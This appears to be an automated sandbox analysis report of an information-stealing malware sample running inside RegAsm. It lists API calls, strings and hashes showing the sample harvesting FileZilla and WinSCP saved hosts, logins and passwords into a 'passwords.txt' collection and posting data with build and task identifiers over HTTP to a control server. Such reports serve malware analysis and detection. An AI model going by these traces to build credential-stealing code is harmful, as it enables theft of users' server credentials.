Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,514d77849a01ff8ab7dd99d5f0a2e19e,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

------, xrefs: 0040589D
------, xrefs: 004059FF
ERROR, xrefs: 00405F2F
build_id, xrefs: 0040594F
", xrefs: 00405AD8
file_data, xrefs: 00405C09
514d77849a01ff8ab7dd99d5f0a2e19e, xrefs: 004059A7
------, xrefs: 00405605
------, xrefs: 0040573C
------, xrefs: 00405B5D
block, xrefs: 00405E30
", xrefs: 0040581B
", xrefs: 0040597B
--, xrefs: 00405600
", xrefs: 00405C35
ERROR, xrefs: 00405D79

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$514d77849a01ff8ab7dd99d5f0a2e19e$ERROR$ERROR$block$build_id$file_data
API String ID: 2638065154-3792087991
Opcode ID: b21a095099952ba1f2d03a042b9967f07248c9a102cd54ad07a96242363ad279
Instruction ID: 26f63bb4b74f1a4fe5648f2493c667f7f0a747346ed033b9145d872dd4f23224
Opcode Fuzzy Hash: b21a095099952ba1f2d03a042b9967f07248c9a102cd54ad07a96242363ad279
Instruction Fuzzy Hash: 5742E671D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
<Port>, xrefs: 0040E818
Password: , xrefs: 0040E9AE
Host: , xrefs: 0040E954
<Host>, xrefs: 0040E7D9
<Pass encoding="base64">, xrefs: 0040E88A
Soft: FileZilla, xrefs: 0040E948
passwords.txt, xrefs: 0040EA4D
Login: , xrefs: 0040E98C
<User>, xrefs: 0040E851

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: d402155b98472abf9eebae6cfb0b319dc7e596369bad0c81706b79ad4c49f08b
Instruction ID: bdb0ce095fb38334b24f51a716845a6e493f74082064f25eb11227582021e93f
Opcode Fuzzy Hash: d402155b98472abf9eebae6cfb0b319dc7e596369bad0c81706b79ad4c49f08b
Instruction Fuzzy Hash: 83A17572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437998,------,0043798C,",task_id,00437978,------,0043796C,",mode,00437958,------,0043794C), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

------, xrefs: 00406CFC
------, xrefs: 00407145
", xrefs: 00406F61
514d77849a01ff8ab7dd99d5f0a2e19e, xrefs: 004070ED
mode, xrefs: 004071F1
", xrefs: 004074DD
------, xrefs: 004073FF
task_id, xrefs: 00407351
", xrefs: 0040737D
status, xrefs: 004074B1
------, xrefs: 0040729F
------, xrefs: 00406E82
build_id, xrefs: 00407095
", xrefs: 0040721D
", xrefs: 004070C1
------, xrefs: 00406FE3

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$514d77849a01ff8ab7dd99d5f0a2e19e$build_id$mode$status$task_id
API String ID: 3702379033-1660966178
Opcode ID: 7bece95f86fa8c4651a70a94fb1341b508ffb1c3752a2dd88db74e7726c5132c
Instruction ID: 0090ae1182acd75542f754b5b396311e93c8e68d741ab60ddf4244fc9b2bbf9d
Opcode Fuzzy Hash: 7bece95f86fa8c4651a70a94fb1341b508ffb1c3752a2dd88db74e7726c5132c
Instruction Fuzzy Hash: 2852897194016D9ACF61EB62CD46BCCB3B5AF04308F4184E7A51D73161DAB46FCA8FA8

Function 00405F39 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,514d77849a01ff8ab7dd99d5f0a2e19e,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

------, xrefs: 00406080
", xrefs: 004065A1
------, xrefs: 00406206
build_id, xrefs: 00406419
514d77849a01ff8ab7dd99d5f0a2e19e, xrefs: 00406471
xA, xrefs: 004067D8
", xrefs: 004062E5
------, xrefs: 00406367
", xrefs: 00406445
mode, xrefs: 00406575
------, xrefs: 004064C9

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$514d77849a01ff8ab7dd99d5f0a2e19e$build_id$mode$xA
API String ID: 3702379033-3209857407
Opcode ID: 4a09986c9b799567666695e332036fd2e6d1c884c013ec982f0ebe8ef4284928
Instruction ID: 03db357aed6932b07deda91b49b5c3d8747ab084d6dd0c8f0fb5a46f94a0e534
Opcode Fuzzy Hash: 4a09986c9b799567666695e332036fd2e6d1c884c013ec982f0ebe8ef4284928
Instruction Fuzzy Hash: 0122C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 0040E186 Relevance: 51.1, APIs: 15, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

Password, xrefs: 0040E515
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
UseMasterPassword, xrefs: 0040E24E
:22, xrefs: 0040E42D
Soft: WinSCP, xrefs: 0040E2FE
PortNumber, xrefs: 0040E3BD
Login: , xrefs: 0040E459
HostName, xrefs: 0040E367
passwords.txt, xrefs: 0040E662
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
Password: , xrefs: 0040E529
Host: , xrefs: 0040E32A
Security, xrefs: 0040E253
UserName, xrefs: 0040E496

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$Value$Open$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 3303087153-2798830873
Opcode ID: d657bcb7850f1073a35a7b93982b0c1e3fcc2cc72cc5baad8dad1431928e3997
Instruction ID: 43426b182d4f8a254889d9b3fd0899fd60441e0156ac402dc668521a0e0de3a3
Opcode Fuzzy Hash: d657bcb7850f1073a35a7b93982b0c1e3fcc2cc72cc5baad8dad1431928e3997
Instruction Fuzzy Hash: ECD1E6B191012DAADF21EB91DC42BD9B778AF04308F5018EBA508B3151DAB47FC9CFA5

Function 0041878D Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 004187CE
GetProcAddress.KERNEL32 ref: 004187E5
GetProcAddress.KERNEL32 ref: 004187FC
GetProcAddress.KERNEL32 ref: 00418813
GetProcAddress.KERNEL32 ref: 0041882A
GetProcAddress.KERNEL32 ref: 00418841
GetProcAddress.KERNEL32 ref: 00418858
GetProcAddress.KERNEL32 ref: 0041886F
GetProcAddress.KERNEL32 ref: 00418886
GetProcAddress.KERNEL32 ref: 0041889D
GetProcAddress.KERNEL32 ref: 004188B4
GetProcAddress.KERNEL32 ref: 004188CB
GetProcAddress.KERNEL32 ref: 004188E2
GetProcAddress.KERNEL32 ref: 004188F9
GetProcAddress.KERNEL32 ref: 00418910
GetProcAddress.KERNEL32 ref: 00418927
GetProcAddress.KERNEL32 ref: 0041893E
GetProcAddress.KERNEL32 ref: 00418955
GetProcAddress.KERNEL32 ref: 0041896C
GetProcAddress.KERNEL32 ref: 00418983
LoadLibraryA.KERNEL32(?,0041860C), ref: 00418994
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189A5
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189B6
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189C7
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189D8
GetProcAddress.KERNEL32(75B30000,0041860C), ref: 004189F4
GetProcAddress.KERNEL32(751E0000,0041860C), ref: 00418A0F
GetProcAddress.KERNEL32 ref: 00418A26
GetProcAddress.KERNEL32(76910000,0041860C), ref: 00418A41
GetProcAddress.KERNEL32(75670000,0041860C), ref: 00418A5C
GetProcAddress.KERNEL32(77310000,0041860C), ref: 00418A77
GetProcAddress.KERNEL32 ref: 00418A8E

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ee6f8a2fccb2d3f9946019b0c38f371037af2cafaffa3ea3c9fa77732076a60f
Instruction ID: bc8b3d3a0bb5216a2661be75a40d9f4e81620d684c3abe8124060225cbc31230
Opcode Fuzzy Hash: ee6f8a2fccb2d3f9946019b0c38f371037af2cafaffa3ea3c9fa77732076a60f
Instruction Fuzzy Hash: 55710675910312AFEF1ADF60FD488243BA7F70874BF11A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: HeapAlloc.KERNEL32(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
